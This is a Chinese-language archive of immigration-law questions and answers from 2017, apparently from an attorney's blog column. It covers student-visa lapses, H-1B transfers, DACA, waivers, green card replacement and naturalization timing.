        律师:丈夫成为公民对申请I-601所需要的极度困境只有很小的影响,更重要的因素在于子女的出生、健康状况变化、财务状况好转等。还有一种可能是,她的I-601申请没有好好准备(我们见过很多这样的案件),她应该咨询在I-601豁免领域有经验的移民律师,看是否可以重新提交。

        申请调整身份后保持非移民身份

        ●问:我持F1签证在学校的时候结的婚,我已经申请了调整身份,请问我必须要继续待在学校吗?

        李律师:依我之见,即使已申请调整身份,最好还是保持合法的非移民身份。这样做的好处是:如果I-485申请出了问题的话,申请人仍然保有合法的非移民身份。

        学生签证过期

        ●问:我是国际学生,F-1签证已经过期一年了,因为我父亲生意出现问题,没有办法继续为我上学提供资金支持。我父亲正在卖房子还债和支付我的学费。我在美国已经呆了6年,不想回母国再申请签证。我已通知学校辅导员我的状况,但还没有接到移民局要递解我的信。我想知道在我等待我的家人给我学费的时候,是否可以申请什么豁免?我的驾照也快过期了,请问续驾照的时候是不是要提交I-20表等文件?因为我父母的状况,我和未婚妻的婚姻也被迫推迟,她不断问我我没有身份会不会影响结婚?我的未婚妻是美国公民。

        律师:如果你和未婚妻的关系是真实的,你们应该结婚,然后她可以为你申请绿卡。要注意的是,如果你们的关系不是真实的,那就是婚姻移民欺诈,你们两人都将面临5年联邦监狱监禁,以及(或)25万元的罚款。因为你没有身份已经超过了1年,你无法申请恢复F-1学生身份,移民局通常不会对你的状况予以同情,因为基于你的家庭状况,你本来应该申请兼职工作许可,打工以缓解财务困境。

        2017-04-16 / by / in , ,
        持F-1签证非法打工后的补救措施

        为生父母(非法定父母)申请身份

        ●问:我现在16岁,是美国的居民。我的父母没有结婚,母亲是单亲。我的父亲居住在洪都拉斯,他结了婚,有一个女儿和一个继女。我想问的是我可不可以为我的父亲申请身份?


        李律师: 因为你的父母没有结婚,所以你母亲没有办法帮助你父亲获得居住权。但等你成为美国公民且年满21岁后,可能会有办法帮到你父亲。前提是他在你满18岁之前对你有尽到父亲的责任。

        国际学生校外非法打工后的补救措施

        ●问:我是持F-1签证的国际学生,我和自己所就业的公司都不知道在校外工作是非法的。在工作之前,我打电话给了国土安全部,他们告诉我说根据我提供的I-94表上的信息,我是可以在公司工作的。不过,在我为那家公司工作了10天以后我意识到这是非法的并停止了工作。公司已经付给了我3天的工钱,另外7天的工钱将会在这周寄到我的账上。请问我该如何处理?我想把那3天的工钱退回给公司,并不再要它们的钱,不过我不知道公司会如何反应,他们可能会报告政府。

        李律师: 如果可能的话,你应该把那3天的工钱退回给公司,我想公司会同情你的处境,而且公司应该在雇佣你之前就确定你是否有在校外工作的许可。即使有几天非法就业的记录,如果你离开这个国家再入境,这一记录很有可能会被抹去。

        找谁才能把她递解出境

        ●问:我想把一个不应该在这里的人递解出境。她可能有一张假的绿卡,我想知道我该找谁?

        李律师: 你可以和移民与海关执法局联系,他们的联系电话在网站上(www.ice.gov)可以找到。

        未申请回美纸出境 调整身份被拒

        ●问:我的未成年儿子和别的小孩发生了争吵并受到威胁,我因为担心把他送出国,但是没有事先申请回美纸,事后儿子以访客签证入境。儿子在I-485调整身份面谈时被移民局发现出境过,所以绿卡申请被拒。请问应该如何处理?是否应该再申请,还是可以上诉?

        李律师: 我看不出来你有什么上诉的理由。法律明确规定I-485调整身份的审理期,没有申请回美纸就离境将使此份申请无效。如果可能的话,我建议你再为他申请一次,当然这可能会因为他现在的身份问题带来麻烦。如果他无法调整身份,我想最后的解决办法可能是认你儿子回到母国,重新申请随后跟随的移民签证,做领事作业程序。在采取进一步的措施之前,我建议你要咨询移民律师。

        2017-04-16 / by / in
        从J-1签证换到H-1B签证

        从J-1签证换到H-1B签证

        ●问:我的雇主修改就业合同条款,强迫我接受更低的工资,并减少我的假期。请问我可以从J-1签证换成H-1B签证吗?

        李律师:如果当事人的J-1签证有回国服务两年的要求,只有当事人出示证明表示国务院已经建议豁免两年回国服务要求时,移民局才会考虑将当事人的J-1签证转换成H-1B签证。而且现在只有你为免配额的机构工作,才有可能转换成H-1B签证,免配额的雇主包括高等教育机构或下属的非盈利机构,非盈利的研究机构或者政府研究机构。


        转学出错应当如何处理?

        ●问:我持M1签证在一所学校学习按摩。学习一年后我申请延期获批。但是我的学校在一夜之间关门了,另外一所按摩学校同意接收所有的学生和老师,所以我们可以在另外一个所学校继续学业,那个学校更大,也是经过SEVIS认证的。但是国际学生办公室(Designated School Official,DSO)在SEVIS系统中将学生转到那个学校去时,遗漏了我和另外一个同学,因为DSO提供的信息不对,申请被拒绝了。在此之前,我问过自己学校和新学校的DSO很多次,看我要不要做什么(比如通知SEVIS),他们说不用,因为会自动转过去。几个星期以后,新学校的DSO才意识到发生了什么,她表示自己会尽最大努力申请将我转到新的学校。SEVIS也说他们会试一试,尽管转SEVIS的时间已经过了。

        李律师:根据你的情况,SEVIS应该要尽力把你转到新的学校,因为错在你原来学校的DSO,你所做的事情都是正确的。如果这件事情不能在内部得到处理,你有权申请复学,并解释这是学校管移民的人DSO出的错。

         

        2017-04-15 / by / in
        谁来付H-1B申请绿卡的费用?

        谁来付H-1B申请绿卡的费用?

        ●问:我持H-1B签证在一所大学全职工作,职位是程序分析师,这是一份长期的职位。我在美国获得硕士学位,专业是电子与计算机工程,正在攻读博士学位,只剩下毕业论文这个环节了。最近,雇主告诉我没有足够的资金来担保我,但是如果我愿意自己负担费用,他们同意为我申请绿卡。我想知道我是不是可以申请职业移民的绿卡?


        李律师:从你的工作和资格来看,你的雇主要通过劳工纸申请(PERM)来为你申请移民。申请劳工纸的过程中,你所工作的大学要证明找不到其他有能力、愿意而且可以胜任的美国员工来担任这份工作职位。根据劳工部的规定,雇主在申请绿卡的过程中,要承担申请劳工纸这一部分的费用。如果你来支付申请劳工纸的律师费和其它费用,你所工作的大学就违法了。我建议你要提醒大学必须支付申请劳工纸相关的费用,而你可以支付申请绿卡的其它费用,比如I-140移民签证申请、I-485调整身份申请(如果你决定调整身份,而不是走领事程序的话)。

         

        2017-04-15 / by / in , ,
        永久居民配偶持访客签证

        非法移民申请驾照

        ●问:我持F学生签证来美,上了一年学以后,因为无力承担学费退了学,也没有了身份。我现在在另外一个州,使用学校给我的社安号非法工作,但是我有报税。我上的学校在密歇根,现在打工的地方在马里兰,我是否可以获得马里兰州的驾照?

        李律师:

        根据《马里兰州公路安全法》(Maryland Highway Safety Act),无证移民在过去两年住在马里兰,报了两年税或者在家人的两年报税单中被列为受抚养的家属,可以申请驾照,但需要提供身份证明、年龄和住所证明。

        保护令影响移民进度

        ●问:我已经提交了文件申请永久居民(绿卡)身份,申请案正在处理之中。不过我最近收到保护令(Final Peace Order),我想知道保护令是否会影响申请绿卡的进度?

        李律师:

        在网上粗略查看后得知,马里兰州的保护令是防止持令的人对其他某个人做出一些不利的行为,如果持令的人承认自己做了违反保护令的事情,即使没有被定罪,将会导致他(她)不可入境美国,而申请绿卡的人必须是可以入境美国的人。所以接到保护令会使移民进程放缓。

        达卡基于婚姻转换身份

        ●问:我最近提交了达卡(DACA,幼年入境暂缓递解)申请并获批,我将要和男朋友结婚,他是美国公民,请问他是否可以帮我申请绿卡?

        李律师:

        你的案子最重要的问题是你是否可以在美国调整为绿卡身份,这取决于你是否非法入境。偷渡入境的人不可以在美国境内调整身份,除非他(她)是245(i)的受益人。245(i)要求当事人:1)在2001年4月30日之前有人为他/她提交了劳工纸或移民签证申请;2)2000年12月21日身在美国。如果你不满足上述条件,可以基于你的达卡身份申请回美纸,然后留下合法入境的记录,这样移民局可能不再认为你是非法入境的。如果是因为上学、商务或者紧急情况申请回美纸,很可能会获得批准。

        另外一种选择是你可以让你丈夫为你申请I-601A豁免,你仍然需要回母国面谈,但可以豁免因为非法居留面临的3年或10年禁止入境的禁令,申请审理期间你可以留在美国。I-601A获得批准的前提,是你如果不能获得永久居民身份将会给你丈夫带来极度困境。

        永久居民配偶持访客签证

        ●问:我是永久居民,在美国已经6个月了。我上周和女朋友结婚,她住在英国,计划8月和12月来看望我。请问她还可以使用之前的10年旅游签证吗?

        李律师:

        你们结婚后,你妻子仍然可以使用10年旅游签证,但她要在入境时让移民官确信她只是临时访问。她每次来美国都要说实话。同时,她也要清楚,她不能持旅游签证在美国呆太久。

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        李亚伦律师移民法律问答

        2017-04-15 / by / in ,
        在美国没有居住地如何为丈夫孩子申请绿卡

        在美国没有居住地如何为丈夫孩子申请绿卡

        ●问:我是在美国出生,生活在埃及的美国公民。我想要为我的丈夫和7个月的孩子申请绿卡。因为我没有住在美国,所以在美国没有居住地址。在申请的过程中,我能不能不去美国就能出示居住证明?


        李律师:

        移民签证申请中,通常是在领事馆面试的时候才需要出示居住证明。面谈时美国领事馆官员会要求你提供在美居住的证明文件。包括:在美国的工作聘书、转银行账户到美国的证明、购屋证明、登记选举投票等等。而且,如果你在孩子出生前,在美国居住满5年,其中有2年的时间是在你14岁以后居住的,如果具有这些居住需求的条件,那你的孩子就是美国公民,你可以为你的孩子领取美国护照,和孩子一起来美国。

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        李亚伦律师移民法律问答

        2017-04-15 / by / in
        绿卡更新时重复付费是否能退回

        经济担保人的资格

        ●问:我已经进行了移民面试,我的文件都完整,他们说我需要一个经济担保人。我找到了一个担保人,他的年收入有20万美金,但他已担保他一家3口。我的问题是,如果他再为我一家3口做I-134经济担保表格,会不会被使馆拒绝或拒签呢?


        李律师:

        一个年收入20万美金的人,就算他要担保自己一家3口,也有资格为你们一家做经济担保的。他的收入已经远远超出了规定的最低贫穷线的标准。

        绿卡更新时重复付费是否能退回

        ●问:美国移民局的政策是不会退还多付的费用,除非是移民局的错误造成的,是这样么?
        我上网更新绿卡,付了159美金,我本以为是更新绿卡的费用,没想到这只是付给网站的费用。当表格填写完成后,我又用信用卡付了移民局450美金。当天我就意识到这个网站不是美国政府的,所以就打他们的800电话要求退回这笔网站的收费,他们同意了。为了更新绿卡,我又填写表格和开了个人支票寄给移民局。移民局收取了我的两笔费用,但表示不会退还任何款项,除非是他们造成的错误。现在的问题是,在移民局没有收到支票前,我打过电话给他们,询问我是否需要取消这张支票,他们的回答是不,甚至是直接告诉我他们不会退还任何费用,但我必须要交这笔钱。美国国税局、政府和各大公司都有退还多支付款项的政策,为什么这个政府部门会有这样的政策?能不能有什么办法让我要回那笔钱?

        李律师:

        我们曾经经历过类似的情况,即使美国移民局承认是他们的错误,客户也从来没有收到过退款。

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        李亚伦律师移民法律问答

        2017-04-15 / 2 Comments / by / in
        抽中绿卡,非法工作的经历是否会被拒签

        抽中绿卡,非法工作的经历是否会被拒签

        ●问:我抽中2015年的抽签绿卡。我是持H-1B工作签证来美国的,从来没有逾期居留过。过去5年的时间里,我在合法的全职工作中,曾经短暂的兼职一个项目的工作,这个工作是没有工作许可的。我在给IRS报税的时候以1099杂项收入把这个情况上报了。现在我抽中了2015年抽签绿卡,在填写DS-260表格的时候,我是否需要把这段无许可的工作填上,如果签证官问起,我承认了这段非法工作经历,是否会被拒签?除了在INA的212(a)上列出的条款外,是否还有其他应该注意的事项?是否有豁免的机会?


        李律师:

        你在领事馆申请绿卡应该不会因为有未经许可的工作经历而被拒签。在美国调整身份,要求申请人在美国一直有合法身份,那些违规非法工作的人多数去美国使馆面谈。拒签的理由都列在INA的212(a)上,这些都是你需要知晓和注意的地方。

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        李亚伦律师移民法律问答

        2017-04-15 / by / in
        违反自动离境的承诺怎么办

        10年不得入境的惩罚可豁免

        ●问:我是非法入境的,但是我得到了奥巴马DACA批准,我已经和美国公民结婚,而且怀孕了,移民局是否可以让我在留在美国,申请10年不得再入境的豁免呢?

        李律师:

        因为你是DACA受益人,所以你或许可以解决你非法入境带来的问题,以紧急事件、生意或者上学等理由来申请回美纸,然后离境。回来后,你或许可以申请调整身份,及同时申请豁免,免去因在美国非法居留超过一年而带来的10年不得入境的惩罚。另外一个选择是,根据奥巴马政府计划的规定,如果非法移民和美国公民结婚,可以申请I-601A豁免。即你的I-130亲属移民申请获批后,递交I-601A的豁免申请。根据规定,你可以留在美国等待豁免的判决。一旦获得批准,你就可以回到你的母国,在当地的美国使馆或领馆进行常规的移民面谈,来完成你的绿卡案件。

        违反自动离境的承诺怎么办

        ●问:如果自动离境的非法移民并没有走,移民局会去抓他们么?

        李律师:

        虽然没有办法保证移民局不会去抓违反自动离境的非法移民,但美国有超过1100万非法移民,对移民局来说,很难逐个去抓违反自动离境者。大多数情况下,这些人都是因为罪行、轻罪、违法行为或者是被人投诉而被抓住的。

        2017-04-15 / by / in
        美国公民的配偶何时可以申请入籍

        不离开美国调整身份

        ●问:我和妻子都是美国永久居留身份(绿卡)。我的亲生女儿于2008年出生,她2013年持B1/B2和我一起来到美国。我为女儿申请了I-30亲属移民,得到了批准。由于她的合法身份已经过期,移民局把她的案子转到了全国签证中心,要她从母国拿移民签证。我的问题是,她能不能不离开美国调整身份?有什么可行的办法么?


        李律师:

        由于你女儿在美国已经失去合法身份,所以就算她的I-130排期排到,也不能在美国调整身份。但如果你变成美国公民,因你女儿合法入境,她可以不离开美国,用与你直系亲属的关系在美调整身份。

        领馆拒签怎么办

        ●问:妻子回祖国前﹐曾和我住在美国。那是三年前的事。我们有三个美国出生的孩子。她申请美国签证被拒签,理由是 212 (a) (6) (C) (ii)条款。怎么办﹖

        李律师:

        212 (a) (6) (C) (ii)拒签表示移民申请人虚伪陈述说她是美国公民。如果这个歪曲事实的行为发生在1996年9月30日之后(包括9月30日当日),签证申请人将终生被美国禁止入境。如果此歪曲事实的行为发生在1996年9月30日之前,若申请人的配偶或父母是美国公民或绿卡身份﹐而且生活将极端困难,申请人可以申请豁免。如果你的妻子认为自己没有虚伪陈述,那她可以重新提交申请,试图说服大使馆或领事馆的签证官,她没有那样的陈述过。

        在申请入籍过程中改地址

        ●问:由于工作的原因,我准备从纽约搬到德州居住。我的入籍面谈后,面试官告诉我:“现在还不能给出结论。”他要计算我于获得绿卡后一共离开美国多长的时间。我的问题是,我什么时候更换地址才合适?

        李律师:

        在入籍面谈之后,就算你更换了地址,原来的移民局还是可以保留处理你入籍申请的管辖权。你需要通知移民局你更换了地址,还需要给入籍考官写一封信,说明你将要搬家,如果需要进一步的面谈,你会回纽约来面谈。

        美国公民的配偶何时可以申请入籍

        ●问:我的未婚夫在美有合法居留的身份。他来美两年后,和美国公民的前妻离婚。所以他还没有资格申请入籍。现在我们计划结婚,我是美国公民。明年我未婚夫会在美住满3年,他是不是可以明年入籍?还是他必须等到来美5年后才能申请入籍?

        李律师:

        你的未婚夫必须要等到他拿到绿卡满5年后才能申请入籍。绿卡满三年后入籍的规定只适合仍与原配偶结婚的人,而不可把两个不同的婚姻合并计算。若和你结婚后﹐他想采用3年入籍的规定,他必须提出证明你们结婚已有3年﹔你拥有公民身份已超过3年,而且你和他住在一起已有3年。

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        李亚伦律师移民法律问答

        2017-04-15 / by / in , , ,
        H-1B延期被拒绝的理由有那些?

        H-1B延期被拒绝的理由有那些?

        ●问:我已有H-1B签证5年半了,是同一家公司。我正在申请6个月的延期,然后计划离开美国。我能够获得批准的概率是多少?如果被拒签会是什么理由?之前的申请从来没有过问题,但是因为这次申请只延6个月,我担心会有问题。

        律师:

        美国移民局不会因为申请延期是6个月就拒绝的。移民局当然知道6年H-1B工作签证的最长时限。所以,当你以同一家公司申请6个月的延期时,没有什么理由不给你批准。

         

        2017-04-15 / by / in
        我可以申请工作许可证(EAD)延期吗?

        我可以申请工作许可证(EAD)延期吗?

        ●问:我在上移民递解的程序,最近获准允许重新把案件打开。我目前的工作许可证在上第一次的听证庭之前就会过期。申请工作许可证延期被拒,我怎么才能获得工作许可证和驾照的延期?

        李律师:

        现在你的案件已属移民法院的管辖之下,也就是说,重新开案获批﹐将让你再次符合申请工作许可证的资格。你也许可以递交申请,附上你重新开案被批的证明,解释你为什么有资格申请工作许可证,还要说明你上听证庭要申请什么样的案件。

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        李亚伦律师移民法律问答

        2017-04-15 / by / in
        我应该用丈夫的姓为他申请绿卡吗?

        我应该用丈夫的姓为他申请绿卡吗?

        ●问:我正在为我的丈夫申请绿卡,我应该用我公民纸上的姓还是用丈夫的姓来申请?

        李律师:

        不论是对美国移民局还是你来说,用你公民纸上的姓比用你丈夫的姓好。你可以在为你丈夫填写的I-130亲属移民表格上的曾用名项目写上你的其他名字。


        移民签证延期申请补材料

        ●问:美国移民局给了我一封信,要求我提供更多的信息才能批准我的延期。要求提供证据:证明我在国外有居住地址,并不会放弃它。证明我已经安排好离开美国的行程。我应该为此提供什么文件?

        李律师:

        对于这个补充材料的要求,你可以提供你与母国关系密切的证据,例如房产和个人资产的证明、银行存款、工作或学校证明。对于证明你已安排好回程的要求,你可以提供回程机票和你准备离美的时间。

        非移民签证被拒后重新申请

        ●问:我申请非移民签证被拒,如果一切条件未变,几个月后可以重新申请么?我担心他们会因为我被拒签过而直接拒绝我的申请。

        李律师:

        很多时候申请人可以在一段时间后再一次递交申请,希望你会遇到一个比较友善的领事官员。你也可能会再次被拒签,因为签发与否,领事官员有自主权。你提到一个现实的问题,就是你没有新的情况,可能会面临和上次一样的拒签。我建议你能证明与母国有更密切的关系后,再重新提出申请,而且再次申请最好等3个月之后。

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        李亚伦律师移民法律问答

        2017-04-15 / by / in
        我是美国公民吗?

        逾期滞留想再次来美

        ●问:我妈妈去年来美探望我们,由于私人原因不得不逾期停留。有什么办法可以让她能够再次来美探亲?我们已经满足申请公民的条件,如果必要的话我们可以申请。

        李律师:

        一个持旅游签证入境的人逾期滞留,签证就会自动失效。如果她离开美国了,那就得再一次申请签证才能入境。她可以解释逾期停留的原因,希望领事馆官员会发签证给她。如果你的母亲现在仍然在美,另一个选择是为她调整为永久身份,前提是你是年满21岁的美国公民,她的逾期停留将不会对调整身份有任何的影响。

        我是美国公民吗?

        ●问:我15岁的时候,父亲入籍获得了美国公民的身份,那时我不在美国。我来到美国的时候已经18岁,得到了绿卡。我不太清楚,我是不是已经是公民了,只要申请护照就可以了?还是我要申请入籍才能成为公民?

        李律师:

        看起来你现在还不是美国公民,因为入籍规定你要在18岁前获得绿卡才能成为美国公民。因此,你需要在美国居住5年后,才能通过N-400申请成为公民。

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        李亚伦律师移民法律问答

        2017-04-15 / by / in
        两个雇主同时为我申请H1-B

        两个雇主同时为我申请H1-B

        ●问:我现在是持H1-B签证为A雇主做全职工作。我的H1-B签证将在2015年7月31日到期。我的A雇主已为我申请了第二次的H1-B延期。同时,我得到B雇主的录用通知。如果A雇主已经递交了H1-B延期的材料,为了保险起见,B雇主也同时为我申请H1-B签证的快速转换和延期,会出现什么情况呢?是不是有很大的风险?如果B雇主的转换和延期被拒绝,或者我要补材料, 我可以继续为A雇主工作吗?A雇主为我做的H1-B延期会怎么样?如果B雇主的转换或延期申请被拒绝了,A雇主的申请程序还会照旧进行么?或者我就没有资格为A和B任何一个雇主工作了?什么样的选择对我最有利?我需要等到A雇主为我做的H1-B延期成功后,再让B雇主为我申请H1-B的转换么?根据现有的情况,还需等2-3个月的时间A雇主才会为我申请到延期,如果B雇主的转换和延期都获得通过了,但是我并不想为B 雇主工作,而是想继续为A雇主工作,这会有什么风险?A雇主需要为我重新申请H1-B转换签证么?

        李律师:

        你可以让A和B公司同时为你申请延期和转换H1-B签证。如果你还在为A公司工作,在等待延期裁决的过程中,你可以在A公司继续工作。B公司的补材料或遭到拒绝,都不会影响到A公司H1-B延期的判决过程。如果你想继续为A公司工作,即使B公司的申请通过,你也没有义务必须为B公司工作。当然,需要通知移民局,把B公司的申请取消。只要A公司的延期申请还在处理过程中,或者已经通过,A公司也无需做任何行动,你可以继续为A公司工作。

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        李亚伦律师移民法律问答

        2017-04-15 / by / in
        因犯罪离美,可再次入境么?

        因犯罪离美,可再次入境么?

        ●问:13年前,我曾经在美被判家庭暴力罪。我服了刑, 上完家暴和戒酒课程。之后由于违反缓刑的规定,法官要我完成36次的心里辅导课程。为了躲开这些麻烦,我离开了美国。我是主动离开美国的,不是被递解出境的,我能再次入境美国么?

        李律师:

        你说不定可以申请非移民签证入境,同时还需要申请禁止入境的临时豁免。领事馆官员要是同意,可向美国移民局提交对你有利的建议。如果移民局的入境评估办公室同意,将会给你豁免让你入境短期探访。

         

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        李亚伦律师移民法律问答

        2017-04-15 / by / in ,
        EB1和EB3移民的选择

        可否选择移民居住地

        ●问:我住在巴基斯坦,怎么能移民到南卡罗来纳州?

        李律师:

        人们移民来美国,是根据联邦移民法移民来美国的。南卡罗来纳州没有分别的移民法。移民来美国的方式一般是透过亲属、婚姻、工作、投资、难民或政治庇护来申请移民。一但你来到美国,你可以选择在南卡罗来纳州定居。

        EB1和EB3移民的选择

        ●问:我持L-1A跨国公司经理工作签证在美国工作已经4年了,履行所有的跨国公司经理的工作,我预计符合EB1-C跨国公司的主管或经理类别申请绿卡的条件。但公司有自己的内部政策,希望用EB-3技术劳工、专业人员类别为我申请绿卡。我想知道,如果我持有L-1A签证却用EB3来申请绿卡会不会有问题。我现在的条件符合多个申请绿卡的方式,如果我选择EB3方式有可能出问题,因为这与我的L-1A身份和满足EB1C申请条件的情况有矛盾之处。这样做会不会遇到明显的障碍?如果有,我可以提醒我的机构,并劝服他们用EB1为我申请绿卡。

        李律师:

        为L-1A身份持有者办理EB-3移民并没有矛盾之处。当然,这个申请过程会更长,你必须通过劳工认证过程,来试探是否美国员工可胜任此岗位。你也知道,只有你工作的机构才能决定是否为你申请绿卡。

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        李亚伦律师移民法律问答

        2017-04-15 / by / in
        美国公民可否长期在海外工作

        美国公民可否长期在海外工作

        ●问:我是美国公民,将要到海外工作5年,5年后才会回美国,请问我能在5年后直接回美么?

        李律师:

        移民法规定,公民申请是以申请人在等待审理期有意图要在美国定居为前提。当申请人获得公民身份后,他/她就可以自由的决定留在美国的时间,而不会影响到公民身份。

        子女移民超龄问题

        ●问:我在12年前为我的姐姐和她的3个子女申请移民来美,孩子们当时是3岁、11岁和13岁。现在姐姐的排期已到,但是她的子女已经15岁、23岁和25岁了。他们都未婚,请问他们还可以移民美国么?

        李律师:

        很可能只有你的姐姐和她最小的那个不满21岁的孩子可以移民美国。因为移民年龄计算是以入境美国时的年龄为基准的。基于儿童保护法,有一种特殊情况,当移民排期到时,孩子的年龄可以冻结停止计算,且I-130亲属移民批准前的审理期间可以扣除。他们的排期到排时,你可以依这两点来计算其他两位子女的年龄﹐若小于21岁,他们仍然可以与你姐姐一同移民。

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        2017-04-15 / by / in ,
        K-1签证,如何为未婚夫担保

        如何为未婚夫担保

        问:

        我未婚夫就要进行K-1签证面谈了,而我只能为他提供住宿和伙食费用的担保,价值大概一年16,000美元,我在为他提交经济担保表格I-134的时候附上房屋租赁合同就可以了么?我还有一个共同担保人将会填写I-864经济担保表格。

        李律师:

        因为K-1是非移民签证,你和你的共同担保人都要递交I-134经济担保书。当你的未婚夫来到美国后,90天之内与你结婚并以你配偶的身份提交绿卡申请,你和你的共同担保人就要提交I-864担保书。你似乎把这两种经济担保表格弄混了,在申请非移民身份的时候用I-134,申请永久身份的时候用I-864。

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        2017-04-15 / by / in ,
        在美国转F1学生身份

        分居后还能转身份么

        问:

        我是非法移民,和美国公民结婚7年了,但是在结婚一年后就没有住在一起,我能有什么办法申请身份么?


        李律师:

        美国移民局坚持,婚姻必须是真实的才有获得移民身份的权利的。你的案子中的难点是,你和美国公民配偶只在婚后同住一年,之后的6年都没有在一起。如果你想透过亲属关系获得身份的话,应该结束你们的分居,像夫妻一样生活在一起。

        ●在美国转F1学生身份

        问:

        F1学生签证的问题。我从俄罗斯来,现在是持B1旅游签证,在美国开了一家独资公司。我已经查过,这是合法的。因为我没有工作许可,所以我不可以为别人工作,但是我可以为自己工作,所以我就开了这个公司。但是在将来(2个月之内),我想转为F1学生签证,那我的独资公司会怎么样,还是合法的么?在学生身份我也是不能为别人工作但是可以为自己工作么?如果是这样,你能帮我转身份么?

        李律师:

        看来你说如果你拥有一个公司就能在这个公司里工作,因为你不是为别人工作,这个说法是错的。不管你是B-1还是F-1身份,在美国移民局看来你都是非法工作。如果你是正在转成永久居民身份的话还有可能被承认,但是如果你是要是转成非移民的身份,例如是以短期商务停留为目的B-1身份,或者是以学习为主要目的的F-1身份,那这个情况就不能成立了。

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        2017-04-15 / by / in
        儿子生在美国父母能得绿卡么

        儿子生在美国父母能得绿卡么

        问:

        我是埃及人,但是我的儿子是在美国出生的,现在他已经6个月大了,我们现在能申请绿卡了么?


        李律师:

        在1976年以前,美国出生孩子的父母也可以移民美国。之后这个法律就被修改了,改成在美国出生的孩子至少21岁的时候才能为父母提出移民申请。你可以通过其他方式移民,但是要靠你6个月大的儿子移民是不可能的。

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        2017-04-15 / by / in
        绿卡丢失如何办身份证

        绿卡丢失如何办身份证

        问:

        我今年18岁了,是美国永久居民。我把绿卡和社保卡弄丢了。现在只有绿卡的复印件和学生证。我父母不能给我提供任何帮助,我在美国住了6年,也曾经工作过。我怎么能才能办州身份证,我如何能补上我的绿卡和其他的证件?

        李律师:

        因为你有绿卡的复印件,所以你可以填写I-90表格(申请补发永久居留卡)来申请补发绿卡。申请费是450美元,须邮寄到美国移民局Phoenix指定的申请邮递中心(Lockbox Facilities)。

        如果你是用美国邮政服务,请邮寄到USCIS,PO Box 21262,Phoenix, AZ 85036。

        如果你是用美国邮政USPS快递服务或快递公司,请邮寄到USCIS,Attention: I-90,1820 E. Skyharbor, Circle S, Floor 1,Suite 100,Phoenix, AZ 85034。

        至于州身份证,可以在你获得补发的绿卡后申请获得。至于社会安全卡,你现在就可申请新卡。如果申请社会安全卡被拒绝,最好在你获得绿卡后再去当地的社会安全局申请。

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        2017-04-15 / by / in
        通过男朋友的DACA申请工作许可

        怎样选择法律课程

        问:

        如果我想从事移民法和其他如离婚、刑法方面的工作,我应该学什么法律课程?


        李律师:

        法学院提供家庭法和刑法的课程,还有越来越多的移民法课程。家庭法和刑法你可以多拿几个课程,再加上至少一个移民法的课程,并在这3个方面的法律业务公司进行实习工作。

        ●通过男朋友的DACA申请工作许可

        问:

        通过DACA梦想法案暂缓递解的申请,我的男朋友刚刚得到一个工作许可。如果我们结婚了,我是不是也能得到工作许可?还是等移民改革法案通过后自己申请工作许可会是更好的选择?

        李律师:

        你男朋友符合童年入境暂缓递解(DACA)法案,即使和他结婚,你无法透过他获得工作许可和其他的任何益处。DACA是针对当事人的,不包括亲属。如果你最终的选择是想与男朋友结婚获得他DACA身份的益处,或等待移民改革法案,你最好是等待后者。当然可能还有其他的补救措施,你最好是咨询移民律师来了解其他的可能性。

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        2017-04-15 / by / in , ,
        持F2陪读签证来美作生意

        持F2陪读签证来美作生意

        问:我现在持F2陪读签证在美国,打算开始做生意。我知道持F2签证是不能工作的,我可以开一个股份公司或者其他形式的公司么?最好的官方信息是什么?


        李律师:美国的法律并没有限制非移民身份的人不能在美国成立公司或者是股份公司,只要他们是单纯的投资者,不会在公司里工作。对这一问题的最佳信息来源是经过多年形成的判例法,许多已包含在移民法的汇编中。

         

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